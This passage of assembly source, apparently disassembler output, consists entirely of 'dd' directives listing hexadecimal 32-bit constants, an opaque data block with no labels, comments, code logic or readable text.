		dd 0F87D7416h, 79E41C00h, 0E5EA0Ch, 633561D1h, 412973AEh
		dd 88B07BE4h, 45B8C117h, 0F4388807h, 69D5E990h,	20E0043h
		dd 6FA291E5h, 1000C0ABh, 6204F622h, 0F028CBh, 2BB1F961h
		dd 0FA8F6C65h, 23715500h, 979B53BBh, 73C200F8h,	263D51D4h
		dd 2500B18Ah, 9805E001h, 9D9E2Ah, 6F8945FBh, 0B50BCE53h
		dd 8D47AA00h, 5601D87Ch, 1F370329h, 9D461654h, 61C468D8h
		dd 5B636B00h, 45E79A0Dh, 5E9800EFh, 225499ECh, 900FA006h
		dd 9D83BA6h, 2F37003Ch,	25CDD30h, 15D4AABEh, 4C4318AFh
		dd 514F91C0h, 3E1EB300h, 0A9E564E9h, 68DF006Dh,	0EE63EC23h
		dd 1400A26Eh, 0A36B751Eh, 0ED882Ch, 81CF524Bh, 0FDB7DAD7h
		dd 3CC0FE00h, 331890D5h, 10D0B8E5h, 8067A4E7h, 0D20B3185h
		dd 562E159Dh, 2501D843h, 9146A152h, 0E808215Dh,	182CF678h
		dd 98025C56h, 6081C07Fh, 0C9EA28h, 964B3E19h, 3DBFF9FDh
		dd 0A859017h, 9E54E100h, 5CCA06h, 0E501C96Bh, 0F87C49B3h
		dd 0F25C5DEAh, 502400B0h, 3EB1B966h, 22E40410h,	80342772h
		dd 86FDF9F4h, 35CB8F00h, 4BBA5655h, 0DF3601F7h,	8E85D96h
		dd 0FD49F8C2h, 0EAF68A00h, 432913CFh, 0FCF4D3h,	0ADBFC871h
		dd 0CACC1274h, 0E39C9B00h, 840AF410h, 57C4014Eh, 66EE6243h
		dd 5266051h, 3003D000h,	94F6A9A0h, 0B18F1DE7h, 1881258Dh
		dd 0E4EB605Ah, 0A892F945h, 6F4FCF00h, 2AF07265h, 5B8B861h
		dd 0CB0DFAD6h, 0D19BC110h
		dd 0D698D51Bh, 95377840h, 2B03A518h, 0EF7BE50h,	41BBE1D2h
		dd 60B1F860h, 0AA0074A8h, 75790196h, 57B688h, 1D669CA3h
		dd 8E9AE8Dh, 74529A00h,	2CD9D0B7h, 78F5125Eh, 118A0044h
		dd 6887300Fh, 8602B203h, 0B0A55BBBh, 98FA5A10h,	7872696Eh
		dd 0E4590047h, 5E0EAE0Ch, 60460784h, 0ACAB4CEBh, 0E29E0068h
		dd 0F9123DCDh, 15266F25h, 0C205850Dh, 588088F5h, 34BA6C9h
		dd 799F58B0h, 50B84D54h, 8B0099F1h, 0BE32B27Ch,	0EB83722h
		dd 6607E85h, 3F1534E0h,	0C7008BD9h, 0AB8DD725h,	0EAE841F4h
		dd 0DC890C1Bh, 0B710EFBAh, 2810D53Bh, 2900B907h, 7DF595EDh
		dd 2ECB9E7h, 813AC985h,	0C0775335h, 481962h, 0EAFCE173h
		dd 348D9CC7h, 0AC80FB00h, 0F7D32F61h, 0A7F60098h, 55215B0Eh
		dd 91067554h, 2E47D0B1h, 7E090020h, 7A4A573Eh, 140027ABh
		dd 6FB2E1F4h, 0D61ED0h,	85426B34h, 2458B49h, 0E2010094h
		dd 33863DADh, 1215C824h, 40CE92D5h, 541BF330h, 0B10281AFh
		dd 9C69CAEDh, 7CD44059h, 78B6004Ch, 0E094A3A9h,	0B0128786h
		dd 0DC0043A2h, 6165E2EEh, 4C750BE4h, 300938C6h,	2BA22103h
		dd 84E84E88h, 0B150DA70h, 0CE3FA9C0h, 85CC48h, 8FBF6D88h
		dd 2173BA0h, 0C7EFFD95h, 5560A6A7h, 1D132B1Ch, 0E420EB3Dh
		dd 0BE269Ah, 8815BAD8h,	378936A4h, 338B70C0h, 0BA3DD67Dh
		dd 0D2A23BECh, 0ADFAF380h, 0E6D34920h, 27033409h, 0DB10800Ah
		dd 1614F4B6h, 0CC19173h, 918211Bh, 0D6A16700h, 0E7B7C023h
		dd 0D93D0936h, 4C80861Bh, 0CFE83B64h, 0FA120B79h, 0F800027Fh
		dd 6814D01Ah, 8FD300F6h, 96374973h, 0C002D755h,	12DC3C1Eh
		dd 4DEC40E8h, 860100DEh, 0D94CED34h, 0FA018DF0h, 0E86AF5FCh
		dd 0DFF569FDh, 0DE7070h, 93CBACF7h, 6DE5A6E2h, 0D6059703h
		dd 0A89A3B31h, 824C81h,	40B15C59h, 0CB287D7Ch, 4A709200h
		dd 0C590E85Fh, 71290751h, 0F07447A3h, 0D63956B1h, 6ED83200h
		dd 0C4269CAAh, 1521C063h, 98AFB0CEh, 8EB8E400h,	232A3989h
		dd 5E3F1D17h, 0F41A803Eh, 0D85FD3E3h, 4AEBE003h, 0BBA12Eh
		dd 86BDC1F0h, 22305C4Fh, 4C26160Bh, 0ED3A8098h,	0E7AC8Ch
		dd 13643C19h, 28717DE6h, 24CC532Eh, 78882193h, 92E64040h
		dd 0E381F100h, 0A98432BDh, 52AF07A6h, 44210D7Dh, 88E080ECh
		dd 0DD00AA5Ch, 84493EE4h, 16B778Eh, 6CDBF35Dh, 75C1E198h
		dd 68AAD834h, 7710E500h, 0C8BFC5F1h, 6663FF6h, 0AEEF3380h
		dd 1DD1593Fh, 80FA7133h, 600CF2A8h, 3B8C0D6h, 0EA4A1E3Eh
		dd 51C0B707h, 0E7EEFBA5h, 28D50800h, 686A235Eh,	1B630A31h
		dd 0E0103Bh, 0AF6F169Eh, 0C500553Eh, 0B9965AFEh, 3D08DC80h
		dd 8D92E4B4h, 0BD088005h, 0C92816BBh, 4E079EF4h, 3975E981h
		dd 0DBEBCF10h, 0CD410006h, 0FDEE6A72h, 200610A0h, 9470C54Fh
		dd 0EAFE11h, 5E34B708h,	0B6B48577h, 0A2AA7D01h,	0A473DE95h
		dd 0B2E8BC20h, 617E0738h, 0D03B58EBh, 0D9D16A62h, 38869E04h
		dd 0CB0776Bh, 0B41884C4h, 0BAA88AE6h, 5A1E2A30h, 0D81009Ch
		dd 0DFF82666h, 4E30960Ah, 69E360BBh, 5C2A00FCh,	0F49323F2h
		dd 1D00601Fh, 8A2EA170h, 75720E7h, 0C6115B02h, 4BEC9046h
		dd 53EC3EC4h, 0CFBA0D24h, 9B33F802h, 6B8880E9h,	0CA1F3Bh
		dd 819D544Dh, 1E22B736h, 1D1392EAh, 68403C5Dh, 0B38EA334h
		dd 10AC6062h, 1ADABD3Eh, 13C18860h, 19040FEh, 77B19226h
		dd 0F8D81CB4h, 0CB002F57h, 4FA095C8h, 7ADABFD3h, 94A0202h
		dd 4EFDC9D0h, 0B4939840h, 3CC7A400h, 0D3358DEEh, 6B5B3B26h
		dd 4FC214FCh, 0B31F3012h, 0E09500CFh, 7E411588h, 0C0911C00h
		dd 86132746h, 0B89E00F1h, 5AD4DDDFh, 3D0088B5h,	76BE36E1h
		dd 4D6E27h, 9D8A8D70h, 0D62A73F0h, 653DF22Ch, 0BB043100h
		dd 9064C6h, 0B988DBE7h,	3552E3B4h, 0BE3E7206h, 18E1D7h
		dd 39CD3ACFh, 7D9B0C21h, 2868E31Fh, 0FB212918h,	0B9F70070h
		dd 0B2A7017Bh, 0BFB837DFh, 0A2679800h, 1778CB1Ah, 0AF7F0112h
		dd 0ACE9C7F8h, 0E7202004h, 8F000498h, 85A6871h,	0EDF93BAh
		dd 45193DC3h, 8A9C403Dh, 0DE2CB2B7h, 37006DB0h,	0BF2E7748h
		dd 0B0F5EDh, 596E57E7h,	836CA810h, 8965A41Dh, 7B529EDFh
		dd 0DCE93023h, 406EC300h, 0B380BA7Eh, 0DAEC0058h, 4313E32Bh
		dd 91728EC4h, 1D124000h, 0C897B77Ah, 216A0FF3h,	9C2FB696h
		dd 23EF3687h, 0CE0BEE3h, 2401276Ch, 7E25B98Bh, 0FD003A1Bh
		dd 8CB44EC3h, 0FEAB0Bh,	244FE396h, 4A480455h, 0C0D380CDh
		dd 3116B7E4h, 123DC00h,	0B9BC22F1h, 0E0EAFAh, 8F48E11Fh
		dd 1735F23Ah, 0ACDFB400h, 5FCF7BC3h, 0BB7D1Ch, 432202DCh
		dd 0D848A532h, 88947201h, 9A46A46h, 0FEE7C024h,	957C005Ch
		dd 923107BBh, 2D0025DDh, 4AB16EC5h, 7ACDD565h, 118A00D4h
		dd 79488BECh, 27040A56h, 0CA07050Fh, 60EFD882h,	0B00BABACh
		dd 0E3870060h, 0CD6E914Ah, 0A5EAC994h, 23F866ECh, 3DB84B00h
		dd 0E7A77082h, 1DA3072Ch, 91D44F7Ch, 301EB6BDh,	0B41D2159h
		dd 1CC03CF4h, 0C4EE8354h, 0F59A0095h, 53F8BF52h, 4700109Bh
		dd 4A7D2620h, 3056EB5Bh, 0D1D80D57h, 5C00118Fh,	1BA97C5Dh
		dd 982CEA25h, 0AC6300D0h, 62AF2E22h, 0B3005DD4h, 466B0C2Bh
		dd 938AADh, 1B1041F0h, 13DBD78h, 0D014FE00h, 0CAE9F156h
		dd 65A704DCh, 0F0C38C27h, 5D006D30h, 0F74F870Ah, 9490F7Eh
		dd 351696E1h, 8CEEA8E0h, 0B302FFCh, 0E340105Ah,	47E907A0h
		dd 4012E44Ch, 13896135h, 531AAB00h, 0ECCDDDB9h,	249F00E3h
		dd 0C3B0E145h, 0B2005D36h, 0EE7A8465h, 341E983h, 21E31119h
		dd 0C0D0E843h, 4D1D2C26h, 0D940D28Ch, 2FFBB6AFh, 0BC4F00B0h
		dd 0EC357A9Ch, 530504BAh, 0CEC0E463h, 40F8F800h, 0C467E1h
		dd 1C7B0E16h, 0BCB14F18h, 0EC42CB24h, 0FC7DEE87h, 4711FD20h
		dd 96F1000Bh, 8B76C1C0h, 0E913B7F6h, 6D153A91h,	4B38DCh
		dd 73D5ABF8h, 0EE1D647Eh, 0A2DF3BE3h, 26316780h, 0D7D32EE1h
		dd 97EA0E1Fh, 13639980h, 7589448Bh, 73CA008Ah, 5A744642h
		dd 4E20CF48h, 2ABA0462h, 0B0F03C58h, 6542D60h, 7B120DB4h
		dd 9C4453B2h, 11C09D8Eh, 0C3C185h, 0D7F3C740h, 131D611Eh
		dd 0E9DDBB18h, 3AC4222h, 0F49BDFD8h, 1790CAD9h,	5E01F2CBh
		dd 0E9A1AD7Ch, 0E4CCB8A2h, 38D82C39h, 719B806Ch, 24255C66h
		dd 0AED43000h, 315092A9h, 0E119002Dh, 839D52B7h, 79019F26h
		dd 0F24B7C08h, 9ACCBAC2h, 7A6C003Ah, 0A3F5B202h, 3818D7EAh
		dd 2AE064FFh, 66C8009Ch, 0F6409025h, 0AF5A1DF8h, 0E2DB8180h
		dd 2A8B25Fh, 7E7A2365h,	68D8BE41h, 0D09CAF00h, 463F53D9h
		dd 26E80085h, 3C474D9Dh, 0FDE8B2A1h, 0D0713900h, 0D140981Ch
		dd 9EED0016h, 0B22590C8h, 0B71F6B30h, 3A003367h, 0F22EABCEh
		dd 0B5AD077Ah, 7030D4E0h, 518C9AD5h, 8249B325h,	4099C5D0h
		dd 7B5F2FACh, 0D89D0046h, 41E725FCh, 7C00E3DCh,	0ECD61168h
		dd 775E106h, 0C6D4AF62h, 4CA80D3h, 0D2267E7Fh, 3B0E8340h
		dd 0CB91C146h, 0F6D819E0h, 754200C8h, 78CC13FBh, 65005A1h
		dd 3F0052C0h, 648B4982h, 0D2D7C5h, 6396FBDCh, 0F5ED098h
		dd 0E530861Eh, 0EBC09C83h, 568D9857h, 0DA10079h, 0E2F7920Ah
		dd 0A61FD8B1h, 0E6C0E104h, 6AF44423h, 46C4A0C9h, 36903C24h
		dd 0D0836FBFh, 1547A5DCh, 6BC6E2C8h, 0C4E7CB09h, 0F80805BDh
		dd 0FF00C4B2h, 75444272h, 0E4032F40h, 0FEFD966Ah, 2055A036h
		dd 82B00E0h, 0E5947968h
		dd 20B860FCh, 42517B00h, 0F41DCE09h, 98300053h,	736670B4h
		dd 82002C8Fh, 12D54F79h, 91B0E9h, 0F16A01B3h, 7315FA97h
		dd 6C309F00h, 0E2A76462h, 0F91E0103h, 0CF224AE4h, 2DC3029h
		dd 9300B2FEh, 0BC3C3809h, 0E15FB3h, 0CAA94C12h,	0CF61FAE0h
		dd 7B7F7901h, 2588070Eh, 1F33B4C8h, 0C0ECE553h,	0E4BBC872h
		dd 7C98FF0Ah, 7129921Ch, 0C0C1158Bh, 0A5E578h, 215C28D6h
		dd 0C8D4A458h, 8A19DD0Eh, 3B47633Eh, 0B68D88C1h, 2BECA0CFh
		dd 0E0F70351h, 9AD0DD8h, 4611F4E0h, 5CC85B0Bh, 0C7CC8B2h
		dd 14F90390h, 9B2D9A76h, 5F1152D7h, 20B9C050h, 7B1DA88h
		dd 0B031E4C6h, 2C0670EDh, 609427E2h, 0E0D0F900h, 932B4E2h
		dd 0C6BF0274h, 0D0E4AFh, 50C5B383h, 754337h, 5B275534h
		dd 0C0C76B22h, 7FC46450h, 2DACCB16h, 0C200F0C7h, 0E3F6B9h
		dd 0A7BCDE43h, 7F032C61h, 0A9001975h, 40D9E46Eh, 290D5BFh
		dd 22EE471Bh, 0A4C0DD58h, 7F269E55h, 0E300BE95h, 8094D3F6h
		dd 4B240096h, 15F5D0CEh, 2240560h, 0CF04EEC0h, 28C250F8h
		dd 133D6B7h, 0F26E3A87h, 0AFF13FE4h, 2C8321D4h,	840C2Ch
		dd 0EFBD0BCDh, 3416F9D8h, 88206170h, 799F27E9h,	20AE00ABh
		dd 5FAF38DAh, 4001DBEFh, 0C64515E7h, 11C8A08Bh,	560EE12h
		dd 0F2B53A1h, 238480F6h, 0AD01CCE1h, 9067F5Eh, 6FD86755h
		dd 6803009Eh, 0AA35B19Bh, 211C5A0Eh, 43801A29h,	0DF61C6E0h
		dd 8A4D3C74h, 0E8E1691Fh, 0B48203BCh, 9A3951BEh, 80A74A01h
		dd 0E65B54FFh, 4D2FFAD8h, 7B09F418h, 0BC40D83Ah, 50435D1h
		dd 0D60A0B23h, 0D866FCC3h, 92B846h, 0E5626AC6h,	0AABC3F80h
		dd 2CC08D59h, 119488A4h, 67DA02E4h, 0C855B1DBh,	7298C1Ch
		dd 0A539A949h, 0D4A2936Ah, 0F7971800h, 31CCEDA6h, 0D9CB00E6h
		dd 778B34B0h, 91001DD1h, 4E885D01h, 5B963Ah, 212E501Fh
		dd 9D3F1374h, 8FC0E000h, 0A3EB1A2h, 707E00D1h, 0FA881CECh
		dd 2A011957h, 0AD82870Bh, 0E2E9CBCDh, 3FA70CD4h, 52034D6Bh
		dd 0F8958B85h, 4D4004EAh, 0A17497DDh, 5769EB00h, 23489EBAh
		dd 518A0026h, 4920313Ch, 0D6011E5h, 915F3740h, 0B69A00CDh
		dd 0C88604E7h, 4A0060D1h, 35E97E77h, 3FC91BCh, 213890A2h
		dd 1C8885C9h, 50BD05C7h, 0D0AF0996h, 0A4C001E1h, 67008606h
		dd 0C887FFB2h, 994196h,	92140CE2h, 286944B9h, 5F3B5100h
		dd 8CF56726h, 0D13C0EFCh, 0BD60AAF3h, 79E5A6DEh, 0BC3E0E00h
		dd 3A181C2h, 0DAD806F4h, 69F8C3F6h, 220302E0h, 7A26280Fh
		dd 8EC0D7B5h, 122ED965h, 8704298Fh, 1E3C3D4h, 0C0BE0800h
		dd 8F32D90Dh, 28E855h, 0F3F9C8F0h, 1F479227h, 61C7EE00h
		dd 78A913BEh, 37FD7CA8h, 8048ED43h, 0F98E21D9h,	0C01DA3Fh
		dd 590F902Fh, 30150A06h, 80797h, 0FEF6783Ch, 63907AA4h
		dd 9E14BC78h, 60CA88h, 0F2037E82h, 70F9DAD0h, 9F0E8F5h
		dd 813EA5F3h, 8E905443h, 0C030B9C6h, 226FB845h,	18D43998h
		dd 230097CCh, 911B7194h, 760066F4h, 6B31C341h, 2736Dh
		dd 302B1A7Bh, 0A87FEFCh, 9922D500h, 0B8DE3369h,	52905Bh
		dd 10E55A52h, 0DCBA2BA7h, 3AF66B01h, 5287C7Dh, 0B84079DCh
		dd 69797Fh, 99E23E42h, 320AEBC7h, 0F106A633h, 30C2B025h
		dd 0D9A5068Fh, 84D86BAh, 80213169h, 19C6C286h, 0D47A0091h
		dd 0EA07F68Eh, 173B7364h, 21295BEh, 37E5018Ch, 178A245h
		dd 0F980F040h, 0D3E7E821h, 459D0721h, 0A5D7E0CFh, 16153A0Ch
		dd 1980E6Fh, 792B9B6Bh,	4FF4C5FBh, 0C7A20C0Fh, 9F209501h
		dd 84713890h, 99379278h, 20ECA10Dh, 0C6E2828h, 79270F24h
		dd 0F874F3FDh, 8398C19h, 4D218068h, 10A5792Fh, 347000ECh
		dd 0B0B40248h, 0ED18305Ah, 7A290F8Bh, 0F004BA85h, 0C5A0001Ch
		dd 0E01AB491h, 80A4E23Bh, 1D02F046h, 5178A845h,	4610E831h
		dd 42004535h, 0E475880Eh, 50B2BDDCh, 0C80DCDDEh, 28C32FC8h
		dd 10F48179h, 4C886418h, 9790030h, 0E0DE2E3Dh, 920A7A3Fh
		dd 0F4A27DB0h, 776A8E83h, 8C100E65h, 0D24099C9h, 0DA7D9D90h
		dd 0D1F33200h, 16A0D52h, 0BD47004Ah, 0E19F1C49h, 90035956h
		dd 2AED1D02h, 7327A807h, 487C01A7h, 467DB1B8h, 0C6D2E49Eh
		dd 7014D80Fh, 0C5F304C2h, 807B18C3h, 0E9302B7h,	0CDAC25CCh
		dd 0F41C3EA0h, 6E7BF9D9h, 310EDE0Fh, 1981A0C7h,	7BBFB7FAh
		dd 30FF8D4h, 21BA5257h,	0BEBA3A40h, 3331E640h, 1502B100h
		dd 95895137h, 97E400B3h, 0EE556877h, 430B5E0Bh,	80EB8FB6h
		dd 0D0374FC4h, 94D1008Ah, 0EAF8950h, 9074C19Eh,	0EE7540C0h
		dd 60F302Fh, 168D0C91h,	613008C9h, 0E5D2200Dh, 952E3B2Fh
		dd 0E705830h, 20A07F54h, 29064594h, 5092124Ah, 9519CC78h
		dd 2E374370h, 87501108h, 6B39F56h, 8B92ED9Bh, 3A6108ABh
		dd 569ECC21h, 31E4B0D8h, 0ECD046CBh, 0B9F231DBh, 73FE8D58h
		dd 80021876h, 38EE2323h, 78059683h, 0BD50F3BBh,	1A68BCC0h
		dd 33F04DBh, 0C09FF002h, 0EDBE47DBh, 0E292B106h, 0F580945h
		dd 8D13C629h, 962B55E0h, 0C330DE0Dh, 560E6859h,	0BE3D0E10h
		dd 0FDA01C1Dh, 72D04793h, 0E6046400h, 0CB1A4ECh, 29AB07C3h
		dd 0C00E86h, 3BA8131h, 0DC00B2E0h, 403E50EEh, 0A7CE3654h
		dd 93BF0104h, 806DDCD7h, 17105711h, 0F352478h, 7298A1B9h
		dd 0E1403843h, 0D914BEF8h, 0DF3E39h, 0B02CC254h, 188EB104h
		dd 5832790Fh, 0A909B2DDh, 8330B364h, 1C7A90AEh,	47675734h
		dd 0C69AD4AFh, 0CE052068h, 6EE64EBCh, 469F203Ch, 0B73F0061h
		dd 0D5C9C0D8h, 0AA5500C4h, 3A07B6D6h, 1F306F38h, 0FF74E153h
		dd 0DEAF01FEh, 0D56C21FBh, 4F0898F3h, 0E91321h,	0E1D3B6FEh
		dd 78B5C13Ch, 82FA3BE4h, 947E851Fh, 80C49F3Fh, 302EF0F4h
		dd 0EE004C23h, 6E5EFB0Eh, 3BF1E7D3h, 0A0CDF860h, 0A83D6DC0h
		dd 0E72AC4h, 332DEB74h,	0CC3B2225h, 0E11ADA38h,	0D8B87021h
		dd 3C273DF0h, 4B84FC5Ah, 4F09B247h, 25D846B7h, 1CDB00A8h
		dd 7661D190h, 3184758h,	2E293F70h, 0E09400AFh, 3271ABBCh
		dd 8CC83C5h, 1F7F212Dh,	0C5A094B6h, 0B0C49Fh, 912EFABBh
		dd 490513Ch, 0F71E7D1Ch, 0CEBEB6C6h, 0B1E80FC9h, 80C097A2h
		dd 386FC242h, 520A51C0h, 0C32467h, 0F7116933h, 0D0B73E4Fh
		dd 0E0A39201h, 3AA4ED03h, 0B11FB88Bh, 68741D86h, 0A450182Ah
		dd 0F40C4EF2h, 71CDBC34h, 0DDA700B2h, 5B1F2019h, 6D18F109h
		dd 0ED314218h, 6BF000E3h, 0DD66B7E9h, 0AF00314Ch, 82EC44F1h
		dd 6A95B2h, 0D605A965h,	0B0C8AD8Bh, 500663F8h, 5118CE4Fh
		dd 44920F49h, 98B428B3h, 40DD9444h, 312ECE42h, 6F03347Ah
		dd 0EB1CFF93h, 9C8BEC0h, 5B358157h, 9646000h, 3D1375C7h
		dd 0BB0098C5h, 0CFB2D93Eh, 30BD2AE4h, 0F931D28h, 1C57C2B6h
		dd 0A880FE5Dh, 0D0B85A70h, 0FC3FFA28h, 0E4B94D0Ah, 203905Eh
		dd 3C2A46D1h, 4795E718h, 0AA80F40Eh, 0D3BCFD94h, 34226F43h
		dd 94B1840Eh, 0DCA9205Eh, 0C07225A2h, 969566B0h, 0B20050EDh
		dd 0BCC5EC97h, 38C4FC58h, 9DBB7043h, 323791DCh,	0C76FA149h
		dd 0ACB4E852h, 800B7400h, 403C624h, 7A450015h, 0CAEE2FF1h
		dd 2B5044FDh, 0B1115D90h, 0D12478Dh, 39E86Ch, 3EE4AAA2h
		dd 54B8CD0Fh, 14B78C45h, 96CAE20Bh, 38D59A09h, 0F9EC0CA0h
		dd 3E13E3EAh, 684034BDh, 0D757FDBAh, 0B945054Bh, 472BEED0h
		dd 1874899Ch, 0A1759E0Fh, 0EF014BCAh, 5DC821BAh, 2E90501h
		dd 921474EDh, 44155A8h
		dd 436DB29Fh, 0F98C5835h, 0C5A176DDh, 0CF313200h, 0DC4D7CE1h
		dd 0DB4B0075h, 0CD279921h, 20189197h, 939376Fh,	0BBF50E14h
		dd 7200532Dh, 4F46679Eh, 8124B918h, 33A159A0h, 6D9834FAh
		dd 0B50039F6h, 0E4B44D96h, 2655389Bh, 4944E662h, 60734C04h
		dd 23ABFEFBh, 8011DBDEh, 0FEE51F01h, 8022BBCDh,	8261C1D1h
		dd 63D46Ah, 7F331D68h, 2FA30D92h, 0F6217000h, 4FACA7AFh
		dd 4EB432A9h, 0E469AEA8h, 6C831460h, 3848A421h,	10552E80h
		dd 0BFD9BB41h, 0C40E9FF8h, 3965B2DAh, 0B3404E38h, 7DC7EEB1h
		dd 0F8336FE8h, 7B883B2Bh, 0B13E84ECh, 0E47898DEh, 58DCB613h
		dd 0DE03CC52h, 8FD52EC0h, 0FF30C4h, 3DF90C5Bh, 0A1734B26h
		dd 0D0381B60h, 60BDB7CDh, 6716A937h, 4F260B06h,	0B513006Ah
		dd 213A044Ch, 66E00F7h,	0B19CC142h, 7707D3A5h, 0B94AEE56h
		dd 4355F842h, 0E5E19828h, 1089247h, 81790960h, 991437B8h
		dd 73080F3Ch, 2AD2180h,	0ECAC6D79h, 3050CBF0h, 178C74E0h
		dd 11AAFEFCh, 4888E007h, 0FEE61E80h, 0E0AA928h,	0C36D89A4h
		dd 0E7C472C2h, 105F50C1h, 34CDF8h, 96B4FA52h, 3AFE0B11h
		dd 9810912Ch, 0E201CE24h, 53EBB775h, 0A82FF9EBh, 8C411860h
		dd 0FA94B504h, 41629BBCh, 949C7920h, 0AB5200DFh, 67FCEBD9h
		dd 474C3286h, 1C82105Ch, 0E0914904h, 7D801D62h,	0B47CC999h
		dd 11B50030h, 0D63E810h, 9DF07688h, 0A8E5552Bh,	0B898D03Eh
		dd 22A81756h, 681005Ch,	0A0BEA179h, 0F4A82D02h,	0D9223B41h
		dd 0A92F0B35h, 2C3B5304h, 80C26E3h, 0D13AB747h,	5B5147Eh
		dd 0B3894EAh, 0C3093B37h, 3901461Fh, 8E23FDCCh,	72FCDE33h
		dd 0FABD0037h, 649E08F8h, 0E02AA1BEh, 880094B6h, 383E78C0h
		dd 90D453BFh, 0E8DD5450h, 38CA71EAh, 0BD0F2631h, 21761CFCh
		dd 469C520h, 16E0ECC1h,	8725BC01h, 83841BB9h, 41C50A30h
		dd 862A00F7h, 0C66D324Ch, 3801E97Ah, 49F4EA88h,	66C8AD58h
		dd 0D55F008Ch, 0E8BE7C79h, 88912CB6h, 7680B011h, 824F0C06h
		dd 0F620448Ch, 32067D00h, 0FC5B995Ah, 4C585CC6h, 7331A10h
		dd 67CB3F5Eh, 41C322h, 0EEA139CEh, 0B5202861h, 19824803h
		dd 3EB3013Fh, 63837300h, 3BA08074h, 88703824h, 0AEFEE0C0h
		dd 22E346DEh, 0EA12024Eh, 92BC01FEh, 5DA4C080h,	0C0FA14BFh
		dd 543ED707h, 792DC1CBh, 30E7D842h, 6711790Bh, 748807B8h
		dd 79048780h, 13999AF2h, 28E3EEh, 0D34B7D65h, 0BF0C2674h
		dd 0C93DFAA0h, 13AE643h, 1F0261EFh, 0CDD36534h,	40E44138h
		dd 0B2DB003Ch, 0BAEF126Ah, 4B80830h, 0FF94A8C0h, 228346BCh
		dd 0B00E0029h, 0A2436C94h, 3B1546DCh, 24844DBAh, 354010BDh
		dd 0F22F210Ch, 29ECB2h,	62459E5Ch, 48E4668Dh, 82247E7Dh
		dd 0B3110059h, 72066B87h, 22314A4Fh, 672F310h, 0A14ED704h
		dd 0A8807E08h, 168999C1h, 36C1D58h, 50CDA764h, 0E4459EE2h
		dd 4D605DE4h, 83E66101h, 0CFBC3F17h, 17B6F840h,	0FDABFF3Eh
		dd 1D58B7FCh, 4E3DDCCEh, 0FE808CE0h, 4F7C02BEh,	5F03DE0Eh
		dd 279A402Ch, 14966DD8h, 0D02F26C2h, 0F0C14F06h, 0A11EB841h
		dd 100C1935h, 0E0BF1080h, 28246293h, 0E0AE64D5h, 0F2409887h
		dd 0DC843290h, 34233F76h, 0E9BA6118h, 0BBCF184Ah, 43BE841h
		dd 30A9B10Ch, 15AA8879h, 3472B2DCh, 0A9010523h,	7BBCFE94h
		dd 8524D619h, 6F0E81Fh,	7CC14D5Dh, 0A8055863h, 5CE94ADEh
		dd 14C4A0D1h, 0DD06182Ch, 1873C1A2h, 0C8A83FECh, 0DE5C0938h
		dd 6557007Fh, 94288DEDh, 5918247Eh, 0E7AE8F38h,	0DC19AD80h
		dd 53006443h, 4F0C4C3h,	28C3A4Fh, 0FDCB66EEh, 348208F4h
		dd 0A00F7295h, 643937FBh, 0B10300B7h, 0E8653BF5h, 60F9A96Eh
		dd 1F07C04Ch, 52D4FA14h, 6E5724h, 774C7BB4h, 2BB1B51h
		dd 0B29BCCC1h, 24804B48h, 0FC840B3Bh, 813140B0h, 3DD4B08Fh
		dd 7523F82Dh, 0A9FE023Fh, 19228BDEh, 0E7151081h, 340524FEh
		dd 6B64004Ch, 91C106E3h, 0D9368900h, 19FE5B49h,	6D31C047h
		dd 0B15FE510h, 181ED701h, 647705DEh, 2E729630h,	69F0540Fh
		dd 81118817h, 5828980h,	52488CC1h, 943F0F00h, 0F49013CCh
		dd 485EE941h, 5B047844h, 9077F489h, 18CAA084h, 0FCA919C2h
		dd 7512007Dh, 0D0B08E4Fh, 0B740E446h, 0DFB8126Ch, 6FEC3213h
		dd 79808227h, 781B9Bh, 6C776E75h, 0F0DCBD8Dh, 0C5B41851h
		dd 0D889D8B7h, 386FB84Fh, 845B2D10h, 426A7C77h,	61981120h
		dd 2582DE83h, 300A13D4h, 0A117848Dh, 0E00B9F8h,	7E938701h
		dd 0AC9077DCh, 0D796EA12h, 4C23203Bh, 0AE464D00h, 77DD27EFh
		dd 4BCC924Ah, 7DF02E58h, 0F6E6008Ch, 3678CD3h, 35519CEDh
		dd 30EFC1A4h, 5F050FACh, 0BAC8BE76h, 12B9C488h,	90575598h
		dd 0A14BCEE0h, 20F14235h, 0BDC0D480h, 0AE011F5Ch, 61894A58h
		dd 81021150h, 0BCE194AEh, 330C71FDh, 0E0208089h, 0F9F601F8h
		dd 0CEF3B693h, 203CC96Fh, 12EF4ED0h, 87384276h,	0C83044h
		dd 0D25093BFh, 0AF3CC58Eh, 56250035h, 0F939DB0Fh, 0A4EC04A1h
		dd 0BB6BC967h, 773DA0C1h, 1B503C0h, 5DF8BB22h, 0FF78B89Bh
		dd 3FA256B8h, 0C8512A00h, 747B976Bh, 5BB60001h,	93153987h
		dd 670F4C47h, 0C06BC7E1h, 0ACB62C4h, 0C8DE000Eh, 7CD41399h
		dd 4500EC3Ch, 0E5383DC9h, 1C6AE9Bh, 42C496D6h, 9F1E699Fh
		dd 0E0C738h, 5EE02ACAh,	4742C363h, 10597101h, 5BCE807Dh
		dd 4D248887h, 6479B0B1h, 2000F714h, 458D98A9h, 3B38061h
		dd 7146D267h, 0CA989C63h, 0F90F7CA4h, 80E0E64Dh, 11E7721h
		dd 0AAF8C4h, 0EEFEC9B3h, 42B8DD70h, 2A46F30Fh, 0AF5A67C2h
		dd 0F6E7716Ch, 267EA52h, 71D94447h, 316091F0h, 0C8D08BE2h
		dd 19DD3184h, 39805CCDh, 0F786EFA6h, 4C0096F9h,	3C3307C1h
		dd 0ED712D47h, 5DD9C971h, 2A82C4DCh, 9C14CBh, 0BA4B4069h
		dd 0D83951C6h, 0F21B9018h, 1DFD2D98h, 7FA1F5AFh, 0A2821AFBh
		dd 41510AEh, 0F2B791C1h, 1EC31080h, 639008EDh, 2F87D300h
		dd 0AFE558EFh, 0BD67574h, 0D8A1E7E0h, 1D537F83h, 96FF4598h
		dd 0C5F79B03h, 9015516Ah, 6B9302h, 0DA21041Fh, 0ED3A9E4Ch
		dd 6800C071h, 827110CBh, 7B5E0A9h, 9F0D2384h, 282DF0A6h
		dd 2C39D916h, 0EF3F000Eh, 8DA8D1E7h, 6519001Ch,	0EBEA7368h
		dd 41004DCFh, 2B021AD5h, 0C26AD0h, 5BB4976Dh, 93A95299h
		dd 3822900h, 0E67531A0h, 0E5ED0089h, 0CF1F1674h, 0B5009A6Fh
		dd 539CD5BFh, 781E2Eh, 3F1B06FBh, 20B03F4h, 1D437E01h
		dd 9313A1DBh, 0F4AE85F4h, 6C304CF3h, 0C1B67800h, 13E1F668h
